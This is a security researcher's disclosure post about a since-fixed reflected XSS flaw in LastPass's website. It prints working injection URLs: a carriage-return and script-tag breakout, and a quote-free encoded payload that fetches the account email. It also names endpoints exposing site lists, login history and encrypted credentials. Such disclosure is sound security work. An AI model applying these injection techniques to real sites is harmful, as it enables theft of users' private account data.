LastPass is a password manager that stores your website login details in an encrypted container, protected by a master password, and synced between your various browsers and machines. They provide browser plugins, and also provide a web interface for you to access and manage your credentials. They have both free and premium accounts, and they recently claimed to have hit one million users. I found a serious vulnerability in their website.

I reported this vulnerability responsibly, and they fixed it within three hours. If you’re a LastPass user you should still be very concerned though; I believe this is ultimately a problem with their architecture and something which could easily happen again in future. Merely by visiting my website at the same time as being logged in to LastPass (using the plugin or website), I could retrieve your email address, your password reminder, the list of sites you log into and the history of your logins, including which sites you logged into, the time and dates you logged into them, and the IP addresses you logged in from.

And the cause of all this? A simple XSS flaw. If you are logged into lastpass.com or have the browser plugin installed and logged in, visiting the following URL:

http s: //lastpass. com / index .php?email=test@example. com

Causes a page to be dynamically generated, containing the email address passed in the URL parameters. The email address is embedded inside a piece of jQuery JavaScript like so:

$( "#email" ) . val ( "test@example.com" );

To test if they properly escaped the email address, I tried passing a double quotation mark along with it. They did properly escape it with a backslash and it looked like this:

$( "#email" ) . val ( "test@exa\"mple.com" );

What they didn’t properly handle though, were carriage returns. So by passing test@exa%0Dmple.com in the email parameter, it gave this:

$( "#email" ).val( mple. com

This generated a JavaScript error on the page, because you’re not allowed to jump to a new line there. The trick which ultimately worked was to pass a carriage return, followed by a closing and opening script tag. This closed off the broken script, and started a new block of script. For example:

https ://lastpass.com/index.php?email= %0 D %3 C %2 Fscript %3 E %3 Cscript %3 Ealert(/XSS/.source); %3 C %2 Fscript %3 E %3 Cscript %3 E

Created this:

$("#email").val(" </ script > < script > alert( /XSS/ .source) </ script > < script >

I had to use /XSS/.source rather than “XSS” because the quote marks would have been escaped. Using the RegExp source attribute and global unescape function in javascript allows you to write pretty much any code you want without having to use quotation marks, which is handy when constructing XSS.

Now to use the vulnerability for something useful. The first thing I did was to make it fetch the settings page using ajax, and parse the account email address out of it. The URL for that looked like this:

https://lastpass.com/index.php?email= %0 D %3 C %2 Fscript %3 E %3 Cscript %3 E %24 %2 Eget %28 unescape %28 %2 Fhttps %253 A %252 F %252 Flastpass %252 Ecom %252 Fsettings %252 Ephp %253 Fextjs %253 D 1 %2 F %2 Esource %29 %2 Cfunction %28 x %29 %7 By %3 Dx %2 Ematch %28 %2 Fvalue %3 D %2 E %28 %5 B %5 E %3 E %5 D %2 B %29 %5 B %5 E %3 E %5 D %2 F %29 %3 Balert %28 y %5 B 1 %5 D %29 %3 B %7 D %29 %3 B %3 C %2 Fscript %3 E %3 Cscript %3 E %22

Which embedded some javascript like this (whitespace added for readability):

$.get( unescape( /https%3A%2F%2Flastpass%2Ecom%2Fsettings%2Ephp%3Fextjs%3D1/. source ), function(x){ y = x. match (/value=.([^>]+)[^>]/); alert(y[ 1 ]); } );

Using the same technique I found I could fetch the users password reminder too. Fetching and parsing https://lastpass.com/accts.php?fromindex=1 gave me a list of all of the websites a user has login details for in LastPass. Fetching https://lastpass.com/history.php?data=1 gave me a nice JSON formatted list of websites the user logged into, the dates and times they logged into them, and the IP addresses they used to log in from.

As well as fixing the XSS, they need to start using HSTS too. A MITM could currently create a fake non-HTTPS lastpass.com page, and trick the browser into fetching it, by embedding an iframe to some other random non-HTTPS site that a user visits. Most of the tricks above will work using that method even if they close the XSS hole. Seriously, if your site uses HTTPS, you need to implement HSTS.

Of course, the holy grail would be fetching the list of sites along with their usernames and passwords. I didn’t achieve this, but I’m convinced it can be done. Fetching “https://lastpass.com/show.php?aid=THEID" (Where “THEID” is a site ID which can be found using the accts.php trick described a moment ago) gave me the encrypted versions of the login details. Even if you don’t have the plugin installed, your browser somehow manages to decrypt and display them to you. Figuring out how to do this would have involved picking through obfuscated JavaScript.

I’m disappointed with LastPass. They should have designed their system using the assumption that XSS vulnerabilities would be found on their website. As it currently stands, any XSS vulnerability leads to the exposure of a treasure trove of highly personal information. Perhaps it’s just inherently dangerous to outsource your password management to a third party.

Update: LastPass responded to this blog post